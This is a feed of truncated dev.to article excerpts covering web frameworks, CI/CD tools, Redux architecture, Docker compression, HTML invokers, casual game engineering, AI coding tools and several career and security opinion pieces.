    At BearStudio, we start new web projects pretty often. Spin up a React and TypeScript project. By the time everything was in place, we still hadn’t shipped a real feature. It was just repetitive, and it drained energy before the interesting work began. That is what pushed us to create Start UI (web), an open-source full-stack starter. https://github.com/BearStudio/start-ui-web When we explored TanStack Start, it matched the kind of developer experience we were looking for: explicit, modern, type-safe, and not overloaded with abstractions. It provides a clean foundation for routing, data loading and actions, while letting you stay close to the underlying React and server patterns. It gives structure without locking you in. TanStack Start does not try to solve everything, and we like that. …  ( 8 min )
    Testing Management Tools: A Complete Comparative Guide with Real-World Examples
    Introduction In today's fast-paced software development landscape, choosing the right testing and CI/CD management tool is crucial for team productivity and code quality. With numerous options available—each with unique features, pricing models, and integration capabilities—developers often face a challenging decision. This comprehensive guide compares the most popular testing management and CI/CD platforms, providing real-world code examples and public repository references to help you make an informed choice. GitHub Actions: Native CI/CD for GitHub repositories GitLab CI: Integrated pipeline automation within GitLab Jenkins: Open-source automation server CircleCI: Cloud-based CI/CD platform Bitbucket Pipelines: Atlassian's automation solution Travis CI: Continuous integration service T…  ( 9 min )
    How Do You Architect Audit Logging in a Microservices Platform?
    I’m designing audit logging for a microservices platform running on Kubernetes with Go services communicating via REST and gRPC. I’m researching how teams typically implement audit logging across distributed systems. The requirements are simple: Areas I’m exploring: Capture point At the API Gateway? Inside each microservice? A hybrid? Delivery model Synchronous writes? Asynchronous pipelines (Kafka, NATS, SQS, etc.)? Aggregation Central audit logging service Shared database Event log / stream Failure strategies Fail the business operation? Buffer and retry? Performance Avoiding bottlenecks Batching, buffering, and backpressure patterns If you’ve built audit logging across multiple services, I’d appreciate insights on what worked well.  ( 6 min )
    I open sourced Introlix - an AI research platform
    Hello everyone, I've been working on Introlix for some months now. Last week I open sourced it, and I'm excited to share it with more communities. It was a really hard time building it as a student and a solo developer. This project is not finished yet but it's on that stage I can show it to others and ask others for help in developing it. Introlix is an AI-powered research platform. Think of it as "GitHub Copilot meets Google Docs" for research work. It is just like google docs but on the right there is an AI panel where users can ask questions to LLM. And also it can edit or write documents for users. So, it is just like github copilot but it is for a text editor. There are two modes: Chat and edit. Chat mode is for asking questions and edit mode is for editing the document using an AI a…  ( 7 min )
    One Prompt, One App: Hands-On with Google Antigravity
    Google Antigravity has been making a lot of noise lately. As Google’s own “agent-first” IDE, it’s already being called a Cursor killer in some circles. Unlike traditional AI coding tools, Antigravity isn’t just “ChatGPT inside VS Code.” It’s more like a control tower for AI agents: you describe what you want, and multiple agents can plan, write code, run commands, and even use a browser to test your app end to end. In this post, we’ll: Walk through setup and initial configuration Explain the key “agent-first” concepts Show a real example: from one sentence to a running web app Discuss how to integrate Antigravity into a broader local AI dev stack (Gemini CLI, Node.js 20, local LLMs, etc.) Most AI coding assistants today follow this pattern: You write some code. You pause, send a promp…  ( 10 min )
    How to Connect PostgreSQL to Power BI Using Local PostgreSQL and Aiven
    How to Connect PostgreSQL to Power BI Using Local PostgreSQL and Aiven (Full Guide) Power BI doesn’t ship with a native PostgreSQL connector out of the box — but with the right setup, it becomes a clean, reliable pipeline for analytics. In this guide, I’ll walk you through how to connect Power BI to: You’ll learn all the required configuration steps, drivers, connection settings, and common errors to avoid. This tutorial is built using Windows + DBeaver + PostgreSQL + Power BI Desktop. Prerequisites Before you begin, ensure you have: ✔ PostgreSQL installed locally Windows installer: https://www.postgresql.org/download/ ✔ Power BI Desktop installed Microsoft Store or https://powerbi.microsoft.com/ ✔ Npgsql .NET Data Provider Required for Power BI to talk to PostgreSQL. https:/…  ( 8 min )
    7 Prompt Gemini Untuk Blogger (SEO Friendly)
    Kunci suksesnya adalah jangan minta Gemini membuat satu artikel utuh sekaligus. Gunakan dia secara bertahap. Ini adalah 7 prompt Gemini untuk membuat artikel SEO yang saya pakai sehari-hari, diurutkan berdasarkan alur kerja. Prompt "Si Analis Kompetitor" (Riset) Sebelum menulis satu kata pun, kita harus tahu "medan perang". Minta Gemini memata-matai kompetitor Anda di SERP (Search Engine Results Page). Salin Prompt Ini: "Saya mau menulis artikel dengan keyword utama [Target Keyword Anda]. Tolong analisis 3 artikel teratas di Google untuk keyword ini. Berikan saya rangkuman: Sub-topik utama (H2 dan H3) yang mereka bahas. Angle atau sudut pandang unik apa yang mereka gunakan. Apa 'content gap' (celah konten) yang bisa saya isi agar artikel saya lebih unggul?" Prompt "Si Arsitek Outline" (S…  ( 8 min )
    Building a Horror Typing Game Where Blinking Kills You
    The Pitch Imagine you're typing as fast as you can, trying to complete a horror story. But there's a catch. Every time you blink, a monster teleports closer. And you can't stop blinking. A full typing game with character-by-character validation Daily AI generated stories & typing challenges A Next.js frontend with real-time webcam face detection Calibration system for accurate blink detection A Unity WebGL game for a more immersive experience Two-way communication between React and Unity FMOD audio integration for that horror atmosphere Leaderboard with realtime player high scores Frontend: Next.js 15 with App Router React 19 TypeScript Tailwind CSS v4 shadcn/ui components Zustand for state management React-unity-webgl package Google MediaPipe Backend: Convex backend Authentication Anthr…  ( 8 min )
    The Future of Software Development Isn't AI — It's Integration
    The recent wave of tech layoffs has sparked fears that AI will eliminate software development jobs entirely. GitHub Copilot, ChatGPT and Claude can write code. Are developers obsolete? Not even close. But the answer isn't what the industry expects. Software development has chased the next big thing for generations, each promising to finally make coding accessible, efficient, or obsolete. The Visual Programming Dream emerged in the 1980s with languages like Prograph and DRAKON. The promise: developers could draw programs instead of writing code, making software development intuitive and visual. But every general-purpose visual language proved too simplistic for real-world applications. Domain-specific tools like LabVIEW and Unreal Blueprints succeeded in narrow niches, but professional soft…  ( 9 min )
    The Equalizer and the Integrator: AI, Cybersecurity, and the Human Insight Imperative
    The Equalizer Let me tell you about Sarah. She's a junior IT admin at a regional hospital. Great employee. Never a problem. The cybersecurity team doesn't think about her because she's inside the perimeter and she's trusted. Last June, Sarah started using an IT-approved AI coding assistant. Week one: "Help me analyze these logs." Week two: "Show me email server misconfigurations." Week three: "Help me write a script to back up our patient database." Week four: She's copying 400,000 patient records to sell to identity theft gangs at $50 per record. Why? Her son has cancer. She's $80,000 in medical debt. She's telling herself she's just taking what the system owes her. In four weeks, AI transformed Sarah from trusted employee to genuine insider threat. (Story adapted from Kip Boyle's "Infl…  ( 10 min )
    Micro-Interactions in UI: Small Details That Transform UX (2025 Guide)
    Micro-interactions are tiny UI details — hover states, button feedback, subtle animations — but they have an outsized impact on how users feel when they interact with your product. I just published a full guide on why micro-interactions matter and how to design them effectively using modern CSS and JavaScript. What micro-interactions are and why they matter The 4 stages of a great micro-interaction Best practices for UI feedback and states Tips for using CSS animations & transitions When JavaScript adds meaningful value Accessibility rules (often ignored!) Examples of micro-interactions in real products If you want to make your UI feel smoother, more responsive, and more “alive,” this guide breaks it down step by step. 👉 Read the full article: https://www.frontendtools.tech/blog/micro-interactions-ui-ux-guide  ( 6 min )
    DeployEase Update — Introducing the AI Deployment Agent (Chat-Based Cloud Operations!)
    Today, I’m excited to share one of the most powerful updates we’ve added to DeployEase so far and honestly, this one changes everything about how developers interact with cloud infrastructure. Say hello to the DeployEase AI Assistant UI — your chat-powered deployment partner.🤖 Instead of navigating multiple menus, filling long forms, or remembering API endpoints… chat with an AI agent directly inside DeployEase. Just type what you want: 👉 “Deploy my repository https://github.com/… on a new server” “List my instances” “Scale up my production server” “Show me all deployments for server X” And the AI handles the rest intelligently, safely, and automatically. The magic behind the scenes comes from: MCP (Model Context Protocol) giving the AI full understanding of our backend API structure. Built-in user schema access keys so the AI never needs to ask you for credentials. Smart input validation — the assistant only asks the user for strictly required inputs (like selecting a region or deployment type). If the user is unsure, the AI auto-selects optimal defaults. Everything else triggering APIs, submitting jobs, fetching deployment results — is done seamlessly by the AI agent. In the example screenshot, I simply asked the AI: “Deploy my repository…” The assistant validated the inputs, prepared the deployment configuration, triggered the backend job, and replied: Deployment queued successfully That’s it. Deployment via conversation. This feature transforms DeployEase into: It finally bridges the gap between developers, cloud servers, and AI-powered automation. We’re now working on: Real-time deployment logs inside the chat AI-powered server troubleshooting Chat-based Docker image generation Infrastructure recommendations based on user patterns DeployEase is becoming more than a platform it’s becoming a cloud copilot.  ( 7 min )
    Why I'm Starting a Newsletter About Inclusive Android Apps
    One thing I'm super excited about at the end of this year is a newsletter I'm launching: Inclusive Android Apps. It's a monthly newsletter about making Android apps more inclusive, and it covers accessibility, LGBTQ+ inclusion, support for different cultures and languages, privacy and safety for marginalized users, and more. In this post, I'm explaining why I'm starting it and what you can expect. The short answer is that I'm starting the newsletter because I'd love to read it, and there's nothing like it around. The longer answer is that these topics matter to me. Accessibility is a big part of my life, as you might know if you've read my blog posts, seen me speak at events, or followed me on social media. I'm also queer, and many of the issues I'm discussing are from what I've either ex…  ( 8 min )
    How do you structure Redux for a 200+ screen enterprise application?
    ✅ Explanation in Simple Terms Think of your app like a big office building with 200+ rooms (screens). Redux is the central storage room where shared files are kept. To avoid chaos: Each floor = a large feature (Payments, Orders, Users) Each room = a screen inside the feature Each file cabinet = slice (collection of related state + reducers) The main building manager = root store You NEVER mix files from different floors. Goal of Good Redux Structure Easy to find state related to a feature Easy to debug Easy to scale (add more screens) Shared logic goes into shared slices Feature logic stays inside feature folders ⭐ Recommended Structure for 200+ Screens /src ├── app/ │ ├── store.js │ └── rootReducer.js │ ├── features/ │ ├── users/ │ │ ├── api/ …  ( 10 min )
    Medium vs DEV vs Hashnode vs Hackernoon vs CoderLegion — Where Should You Publish & Launch? 🚀
    Medium vs DEV vs Hashnode vs Hackernoon vs CoderLegion — Where Should You Publish & Launch? 🚀 #webdev #opensource #productivity #techwriting #discuss In the past few months, I’ve spoken with many developers, indie founders, and open-source maintainers. Almost everyone eventually asks the same question: “Which platform is the best for posting my articles?” It’s a reasonable question — but it’s not the most important question. The question we should be asking is: Where should I launch my content? Posting and launching are not the same: Posting = publishing content for long-term visibility and SEO Launching = pushing something new with traffic and momentum Start From Your Own Blog 🏠 If you’re building a product, writing regularly, or growing an audience, the most important foundation is you…  ( 8 min )
    Inside the University Cloud: Solving Real-World Networking Challenges
    Overview Student Portal to give learners a seamless digital experience. Through this portal, students will be able to: View grades Access course materials Pay tuition fees Submit assignments To support this rollout, James, the Cloud Engineer, and Sarah, the School’s Solutions Architect, were tasked with building a secure and scalable architecture on AWS — the chosen cloud provider for its reliability and customer-obsessed design. They began by setting up the core networking environment: A VPC to isolate all university resources A public subnet for externally reachable components A private subnet for backend application servers An Internet Gateway (IGW) attached to the VPC A route table to enable internet access for the public subnet An EC2 instance in the private subnet hosting the student…  ( 14 min )
    What is due diligence for IDP and why is it important?
    Due diligence is the investigative process of vetting an investment or agreement to verify facts and make informed decisions. Good due diligence reduces risk and protects decision-makers from signing off on costly mistakes. *With new intelligent document processing vendors emerging monthly, technology iterating quarterly, and orgs cycling through solutions like flavors of the month, your ability to analyze a market full of showy IDP software and make a determination on whether it’s a right fit for your enterprise is becoming an insanely valuable skill. * Analysts now track over 450 IDP entrants, a 15% increase year-over-year, marking an essential need for tight decision-making and software selection skills. IDP is no longer a primarily back-office thing with 62% of IDP systems now involv…  ( 9 min )
    CSS Iceberg
    CodePen runs weekly coding challenges, and this week's theme is Winter, focusing on Ice and Snow. I decided to participate by drawing an iceberg floating in the ocean. I found an iceberg image online that I liked and thought it would be fun to recreate it in CSS. At first, I considered using multiple elements, then switched to a single element, and eventually settled on drawing the entire piece with pure CSS and zero HTML elements. Whenever I share a zero-element drawing on CodePen, I add a small disclaimer: while the HTML panel may look empty, there is still some HTML. Specifically, I rely on the element, along with its ::before and ::after pseudo-elements, to create the artwork. There are also ways to achieve a true zero-HTML setup by applying the styles directly to :root and forcing the browser to render the CSS (this only works with Apache and Firefox, though.) So technically, this drawing could be achieved with pure CSS and absolutely no HTML elements. The drawing itself is fairly straightforward: body: the sky (a linear gradient) and two conic-gradient shadows body::before: the iceberg, shaped with a clip-path and shaded with conic gradients body::after: the water and waves, created using a repeating horizontal radial gradient plus a linear gradient for depth You can find the live demo and the source code on CodePen:  ( 7 min )
    Introducing: AWS CDK 100 Drill Exercises - Learn by Building
    Introducing: AWS CDK 100 Drill Exercises What is AWS CDK 100 Drill Exercises? AWS CDK 100 Drill Exercises is a comprehensive, hands-on learning series where I'll create and share 100 practical AWS infrastructure implementations using the AWS Cloud Development Kit (CDK). Each exercise focuses on real-world scenarios, from basic networking setups to advanced multi-region architectures. Goal: Master AWS CDK through deliberate practice while building a valuable reference library for the community. I'm using #100drillexercises as a dedicated tag for this learning series. Follow this tag to track all exercises as they're published! Additional tags to stay updated: #aws #cdk #devtools #100drillexercises The idea came from an article (or book—my memory is a bit fuzzy!) about design pr…  ( 10 min )
    Docker Image Compression: gzip vs zstd
    Docker images are already compressed when you push them to registries like Docker Hub, GHCR, AWS ECR, etc. So why would anyone compress an image again by using gzip or zstd? Because in the real world, engineers often need to: - move images between servers (air-gapped networks), - migrates registries, - backup image to object, - load or save images repeatedly in Continuous Integration (CI) pipelines. In these cases, docker save produces a raw .tar file often huge. But what’s the best compression tool? So we will test gzip vs zstd. Like I said before, you need to compress your image to: - transfer image between SSH or local network (LAN), - work with offline or air-gapped servers, - backup images to object storage, - migrate to new registry. Skip compression when images are pushed directly …  ( 10 min )
    AI Agents and context-aware permissions
    As the internet evolves, misconfigured permissions become a much bigger threat. Why? Because of two words: artificial intelligence—or, AI. Enterprise organizations have always needed tight control over their systems. Permissions are necessary for protecting access to resources, as well as meeting compliance rules and customer obligations. An over-permissioned user would be able to access sensitive information; for example, manager-level permissions that let an employee access their entire team’s salary when they should only be able to check their own. Once teams spot such mistakes, they can correct it and move forward without much disruption. That’s no longer true once AI enters the picture. AI agents do what humans do, from accessing data to sending emails. But unlike humans, they move th…  ( 12 min )
    Why Do Some SaaS Startups Grow Faster on Google While Others Stay Invisible?
    Understanding Why SaaS SEO Feels Different If there’s one thing I’ve learned working with early stage SaaS teams, it’s that SEO hits differently in this space. You’re not just targeting generic terms or chasing backlinks. You’re trying to show up for users who are actively searching for solutions to specific problems, often tied to workflows or niche industry issues. When I first helped a small SaaS team audit their content, we realized their blog was filled with broad topics that never aligned with user intent. That moment taught me how critical it is for SaaS companies to map content to actual product value. The Unique Challenge of SaaS Search Intent Unlike e-commerce or local businesses, SaaS search journeys are multi layered. Users don’t just search “software for invoicing” and then bu…  ( 8 min )
    ⚛️ Quantum Machine Learning Algorithms: A Technical Deep Dive (With Qiskit Code)
    Quantum Machine Learning (QML) blends quantum computing with classical ML to unlock speed-ups in optimization, sampling, and high-dimensional learning. 🔹 1. Quantum Support Vector Machines (QSVM) QSVMs use quantum kernel estimation, which allows efficient mapping of classical data into extremely high-dimensional Hilbert spaces. 🧪 Qiskit Example — Quantum Kernel from qiskit import BasicAer feature_map = ZZFeatureMap(feature_dimension=2, reps=2) kernel_matrix = quantum_kernel.evaluate(x_vec=[[0, 1]], y_vec=[[1, 0]]) 🔹 2. Quantum Neural Networks (QNNs) QNNs use variational quantum circuits trained with classical optimizers in a hybrid loop. Qiskit Example — A Simple VQC Model from qiskit import Aer backend = Aer.get_backend("statevector_simulator") qnn = TwoLayerQNN(num_inputs=2, num_qubit…  ( 7 min )
    Day 2 — The Typed Letter
    Leaving Zum Roten Bären behind them, Rothütle and Gord walk through the quiet evening streets of Freiburg. Gas lamps hum softly, and the Bächle along Salzstraße scatters the lantern light into restless silver ribbons. Rothütle unlocks the door to his small apartment, steps inside—and stops. An envelope lies on the floor. Perfectly placed. Waiting. He opens it carefully, scans the contents, and then says hastily, "I need to leave, Carl might be in trouble." Gord whispers, "The timing is funny." Then she adds, "What does it say?" Rothütle shows her the letter: Herr Osterman, I must speak with you at once. — Carl Benz "What kind of handwriting is this?" Gord asks. Rothütle frowns. "It's done by a mechanical writing apparatus. There is one called Schreibkugel created by Danes earlier this year…  ( 8 min )
    What will enter the public domain in 2026?
    Ever found yourself in a deep rabbit hole of copyright laws, only to emerge with a bewildered look and a newfound appreciation for public domain? I’ve been exploring this topic lately, and it's fascinating how the landscape of creative works is set to shift in 2026. If you’re anything like me, you might be wondering what it all means for creators, developers, and just regular folks looking to dabble in the arts. So grab a coffee (or your favorite beverage), and let’s chat about what’s coming to the public domain in a few short years. Before diving into the juicy stuff of 2026, let’s back up a bit. Ever wondered why certain works are available for remixing and reimagining while others aren’t? It boils down to time and copyright law. In the U.S., works published before 1923 are already in th…  ( 8 min )
    FULL REDUX INTERNAL
    Here is the COMPLETE internal Redux flow diagram + exact internal code that explains everything end-to-end exactly how Redux works under the hood. I’m giving: ✅ ASCII Diagram (Very clear) 1. FULL REDUX INTERNAL FLOW DIAGRAM ┌─────────────────────────────┐ │ Your Component │ │ dispatch(action) │ └──────────────┬──────────────┘ │ ▼ ┌─────────────────────────────┐ │ Store.dispatch │ └──────────────┬──────────────┘ │ ▼ ┌─────────────────────────────┐ │ Middleware Chain │ │ (logger → thunk → custom..) │ └──────────────┬──────────────┘ │ ▼ ┌─────────────────────────────┐ │ Reducer │ │ newState = reducer(old, a) │ └──────────────┬…  ( 7 min )
    Barclays 26NG OA Ultimate Guide | Hard Mode Memory Manager Real Questions + Passing Tips
    Barclays’ Codility OA is notorious for its elimination-level difficulty, especially the Hard mode that favors low-level system simulation. Many candidates fail not because the logic is impossible, but because the edge cases and hidden tests are brutal. Below is a clean, structured breakdown of the latest real memory manager questions, core solution patterns, and common pitfall-avoidance tips to help you ace the OA and secure the interview! Platform: Codility Difficulty: Hard (higher than typical LeetCode questions) Key Focus Areas: Memory management, state maintenance, edge-case handling, robust implementation Distinct Features: Long descriptions, many hidden edge cases (fragmentation, invalid ops, double free) 1. Basic Memory Allocator Requirement: Manage an N-byte memory block a…  ( 7 min )
    🔓 Successfully Decrypted MIUI .lsa & .lsav Files Using Python – Full Working Method by TheDevOpsRite
    MIUI encryption has been a major roadblock for users trying to recover their personal photos, videos, and backups stored in .lsa and .lsav files. For a long time, there was no clear working solution — most tools failed, and documentation was almost non-existent. On TheDevOpsRite, I have now successfully decrypted .lsa and .lsav files using Python, and I’ve shared the complete working process in a video tutorial. ✅ What This Solution Covers Understanding how MIUI encrypts .lsa and .lsav files Extracting the correct decryption hex key Using Python + PyCryptodome for real decryption Converting encrypted files back into usable photos/videos Handling padding and data integrity correctly This is a real, tested method — not a theory or fake tool. 🔐 Security & Ethical Use This method is strictly for educational and personal data recovery. Only decrypt files you personally own. Never share your hex keys publicly on forums or in comments. If you need help, always use private and secure communication. 🛠 Tech Stack Used Python 3 PyCryptodome MIUI encrypted backup analysis Custom scripts for .lsa / .lsav handling 🎥 Full Video Tutorial on TheDevOpsRite If your MIUI backups are stuck inside .lsa or .lsav files and you want a real recovery solution, this tutorial will guide you from start to finish. 👉 Watch here: https://youtu.be/t3Mznf2JULU?si=KfTWp_Gi0wec1-6l  ( 6 min )
    IP Blacklist Tests and Bot Checkers: Why Websites Flag Your Traffic
    If you keep running into random blocks, login issues, or endless security checks, it doesn’t always mean you did something wrong. Many websites quietly run your connection through an IP blacklist test and a bot checker to decide whether to treat you like a normal visitor or a possible risk. An IP blacklist test checks whether your current IP address appears on lists of “bad” or risky IPs. Security companies, anti-spam providers, and some platforms maintain these lists to reduce spam, brute-force logins, scraping, and malware. Your IP reputation can suffer even if you did nothing wrong. For example: someone on the same Wi-Fi abused a service you use public Wi-Fi in airports, cafés, or coworking spaces your VPN or proxy endpoint is shared by many users the IP belongs to a datacenter ra…  ( 9 min )
    The AI Web3 Merge Is Moving Faster Than You Think
    Developers are now using AI to read smart contracts, predict markets, and secure wallets. while AI companies turn to blockchain for data integrity and transparency. The result? Smarter, more trustworthy systems. It’s not hype. It’s happening. Right now, in the code.  ( 6 min )
    Java decrementExact() Explained: Stop Integer Overflow Bugs
    Java decrementExact() Explained: Stop Integer Overflow Bugs Before They Happen Alright, let's talk about one of those "silent killer" bugs in programming—the kind that doesn't scream errors at you initially but can cause your app to behave in the weirdest, most unpredictable ways. I'm talking about integer overflow. You know the scenario. You're building a cool reverse counter for a rocket launch, managing inventory stock, or just tracking the score in a game. You use a simple count-- or i = i - 1. It seems foolproof, right? But what happens when your counter goes below the minimum value an int can hold? Spoiler alert: It wraps around to the maximum value. Your rocket launch countdown might suddenly jump from -2147483648 to 2147483647. Yikes. This is where Java's Math.decrementExact() me…  ( 11 min )
    Understanding Amazon Q Custom Agents: Concepts, Architecture & Inner Workings
    👋 Hey there, tech enthusiasts! I'm Sarvar, a Cloud Architect with a passion for transforming complex technological challenges into elegant solutions. With extensive experience spanning Cloud Operations (AWS & Azure), Data Operations, Analytics, DevOps, and Generative AI, I've had the privilege of architecting solutions for global enterprises that drive real business impact. Through this article series, I'm excited to share practical insights, best practices, and hands-on experiences from my journey in the tech world. Whether you're a seasoned professional or just starting out, I aim to break down complex concepts into digestible pieces that you can apply in your projects. Let's dive in and explore the fascinating world of cloud technology together! 🚀 Imagine Sarah, a DevOps engineer at …  ( 12 min )
    How to Prompt AI for Consistent JSON Responses
    This was originally posted on the VSL Substack publication. You just used AI to generate your API integration code, tested it locally, and deployed it to production because it seemingly worked perfectly. Two hours later, your logs are filled with parsing failures and users cannot complete actions because "Invalid JSON" errors are popping up everywhere. The AI gave you working code, but the problem is that it only worked in your controlled test environment with your specific input. It happened to me so many times I lost count, so I’m going to share one of the best ways to get your AI to generate valid json, every single time. When you are building features that depend on structured data like API integrations, database operations, or configuration files, JSON consistency directly determines…  ( 11 min )
    The Game Math Behind a Candy Craze Game: Probability, Cascades, and Level Pacing in HTML5 Puzzlers
    Candy puzzle games—often referred to as “candy craze games”—look colorful and playful on the surface, but their underlying mechanics rely heavily on math, probability weighting, grid logic, and pacing algorithms that control difficulty, randomness, and player satisfaction. In this article, we’ll explore the mathematical and algorithmic foundations behind a candy craze game: How grids are generated How randomness is controlled (not actually random!) How cascades are determined How difficulty ramps up And how to design a fair but exciting experience Whether you're building your own HTML5 puzzle game or analyzing browser games for UI/logic inspiration, understanding these principles is crucial. A candy craze game appears simple: match 3 candies clear them trigger cascades refill the board Bu…  ( 11 min )
    Julia Kasper – Rewetting peatlands is the biggest climate opportunity to cut CO2
    In her recent interview, Julia Kasper, co-founder and CEO of Zukunftmoor, argues that rewetting drained peatlands represents the single biggest climate opportunity in agriculture today. Although peatlands cover only about 3 % of the global land surface, they store more carbon than all the world’s forests combined. When peatlands are drained, a common practice for agriculture, they don’t just release CO₂ once; they leak carbon continuously, year after year. Restoring peatlands thus stops that “constant leak,” and rewetting them can turn a major source of emissions into a long-term carbon sink. But rewetting alone is not enough: farmers need viable, sustainable livelihoods. That’s where Zukunftmoor’s innovative approach comes in. They propose combining rewetting with cultivation of Sphagnum moss — a natural plant of peatlands — which can serve as a sustainable substitute for extracted peat in horticultural substrates. This turns rewetting from a purely ecological restoration act into a market-driven, economically viable land-use model. By using drones or hand-seeding methods, and developing harvesting and substrate-supply chains, the approach offers farmers a low-input, long-term pathway to maintain income while restoring degraded peatlands. With this combination of climate mitigation and practical agriculture, Kasper’s vision offers peatland regions across Europe a concrete alternative to drainage-based farming — one that aligns environmental restoration with economic viability. Original article published on Investing in Regenerative Agriculture.  ( 6 min )
    Engineering a “Candy Craze Game”: Interaction Model
    Candy craze” games—fast, colorful, tap-driven puzzle or matching games—are among the most influential patterns in modern HTML5 casual gaming. Behind the bright animations and candy explosions lies a surprisingly elegant technical architecture built on event systems, rendering pipelines, interaction logic, and resource-efficient desi In this article, we’ll examine the engineering principles behind building a c, f If you're designing or studying HTML5 games, this genre is a near-perfect cas A Grid-ba T Chain reacti Particle effec Color-rich sprites and animations Mobile-first design This genre forces the developer to solve: how to detect matches efficiently how to animate falling pieces how to avoid layout jank how to maintain 60 FPS how to sequence chain reactions without blocking A perf…  ( 8 min )
    Seeking Career guidance
    I'm looking for career guidance. I work as senior software engineer. I have 10+yrs of experience.  I have worked in java, gwt, angular,react, aws lambda, accessibility, little bit of mongodb atlas ui. I work well but now when I look back I dont remember these skills in interview poit of view. I also feel lost in career. I want to refresh and upskill to align with current expectations for my experience. Also would like to know what skills and roles will be good choice,so that I can work on it? I have no guidance so I'm seeking for guidance so that I can have a good roadmap.  ( 6 min )
    Building a High-Performance “Crazy Pizza Game” UI: Patterns, Techniques, and Developer Insights
    The “crazy pizza game” genre is a perfect case study for modern HTML5 game development. This article walks through the engineering patterns behind building a responsive, high-performance crazy pizza game on the web. Instead of focusing only on gameplay, we will explore the deeper architectural decisions that make the experience fluid and addictive. From an engineering perspective, pizza-assembly games include: rapid, state-driven UI changes high sprite density timers and dynamic difficulty touch-first interactions immediate player feedback loops frequent collision / hitbox checks continuous animation sequences This makes them excellent for demonstrating: rendering strategies input management memory optimization update loops performance constraints on real mobile devices It’s not just a “s…  ( 8 min )
    Behind the Scenes of a “Crazy Pizza Game”: How HTML5 Casual Games Are Built
    Casual browser games have exploded in popularity over the last few years, and one of the most recognizable formats is the fast-paced “crazy pizza game” — a game where players quickly assemble pizzas, match ingredients, or manage orders under time pressure. But what does it take to build a game like this? In this article, we’ll break down the design and technical foundations behind a “crazy pizza game,” from core gameplay loops to rendering, performance optimization, asset pipelines, and browser considerations. 🍕 1. What Defines a “Crazy Pizza Game”? A typical crazy pizza game includes these characteristics: Fast decision-making Time-based challenges (countdowns, increasing speed, etc.) Ingredient combinations (drag-and-drop, tap-to-select, matching patterns) Continuous feedback (animation…  ( 11 min )
    AuroraCanvas — A Cross-Platform Generative Art Experience
    What I Built AuroraCanvas is a visually immersive generative art playground built with Uno Platform and powered by AI-assisted color and particle effects. Theme: Cosmic / Ambient / Fluid Visuals ✨ Dynamic AI-generated color palettes 🌌 Touch/mouse-responsive particle flows 🎵 Audio-reactive animations 💫 “Surprise Me” mode: continuously evolving scenes 🎥 Demo Live Demo (WebAssembly): [Insert link] Screenshots / GIFs: 🖥️ Windows: Full-screen particle animations 📱 iOS / Android: Touch painting mode 🌐 WASM: Browser-based experience Test Account (if login required): Email: test@demo.com Password: Demo123! 🧩 Cross-Platform Magic Platforms supported: iOS, Android Windows, macOS, Linux (Skia backend) WebAssembly Single codebase benefits: 95% shared code XAML-based UI Shared logic in .NET Onl…  ( 7 min )
    9 Essential Developer Tools You Should be Exploring Right Now ⚡️🔎
    Modern developer tools have become fundamental components which enhance coding operations while shortening the duration needed to finish projects. However the curation and selection process for developer tools that might be useful in the practice can feel as a daunting task because numerous platforms and utilities exist. In this article I’ve curated 9 of my recent favorite developer tools which help developers create applications through advanced authentication systems, headless CMS backends, visual website builders, API SDK generators and much more. These tools help developers save time while reducing obstacles to work on developing robust software. All the tools provide brief descriptions along with essential features, workflow image snaphots and direct access links which enable you to e…  ( 9 min )
    Describe promotions on AI services available now
    Unleash AI Potential for Less: Top Promotions on AI Services You Can Grab Now! The world of Artificial Intelligence is evolving at lightning speed, offering unprecedented capabilities from advanced large language models to sophisticated image generation and robust data analytics. As businesses and developers race to integrate these powerful tools, a key consideration often arises: cost. The good news? AI service providers understand this need for accessible innovation, and exciting promotions on AI models, subscriptions, and paid plan benefits are blooming! This post dives into the current landscape of AI service promotions, helping you identify opportunities to maximize your AI budget, experiment with new technologies, and scale your projects without breaking the bank. Whether you're a …  ( 9 min )
    What It’s Really Like to Work as a Senior Data Analyst in Trading: Architecture, Pipelines, and Real Problem-Solving
    By Clara Morales, Senior Data Analyst at Lomixone Trading platforms generate one of the richest, noisiest, fastest data environments in tech. Every second contains hundreds of micro-events: price ticks, order placements, cancellations, liquidity shifts, volatility spikes, latency anomalies, user signals, macro news triggers — and all of that must be captured, cleaned, structured, and delivered into analytics pipelines without losing accuracy or speed. As a Senior Data Analyst, my job sits somewhere between: data engineering quantitative analysis real-time observability product insight generation This article walks through how this role actually operates inside a trading environment, ending with a reproducible code example that demonstrates how we solve a real problem: detecting abnormal ma…  ( 9 min )
    ONLYOFFICE updated: AI agents & custom hotkeys in new releases
    We are excited to announce major updates across our ecosystem: ONLYOFFICE DocSpace 3.6 and ONLYOFFICE Docs 9.2. These releases introduce a new layer of intelligent assistance with AI Agents in DocSpace and bring significant productivity enhancements to the editors, including customizable hotkeys and macro recording. Let’s explore what’s new for developers and power users. The main highlight of DocSpace 3.6 is the introduction of AI agents, bringing intelligent assistance directly into your collaborative workspace. These agents are designed to help you and your team work faster and more efficiently. You can set up an AI agent tailored to your specific needs. Once configured, you can interact with it through a dedicated chat interface. Simply ask questions or describe your task, and the agen…  ( 9 min )
    HTML Invokers: The Coolest API You Aren’t Using Yet
    Invokers are the coolest HTML API that you aren’t using. This is right about to drop in all major browsers. It’s available in Safari Technology Preview and Firefox and Chrome already. It is so cool. I want you to support my original content as well please, below is the link: HTML Invokers: The Coolest API You Aren’t Using Yet So, what are invokers? Invokers let your buttons actually do stuff without JavaScript. Like, at all. You just tell the button what element to control and what to do with it. That’s the whole thing. It’s wild that this hasn’t existed until now. How We’ve Been Doing It (The Old Way) Right now, if you want a button to open a dialog, you’re writing code like this: const button = document.querySelector('#open-button'); const dialog = document.querySelector(…  ( 9 min )
    JAI Router - lightweight Spring Boot routing starter (open for contributors)
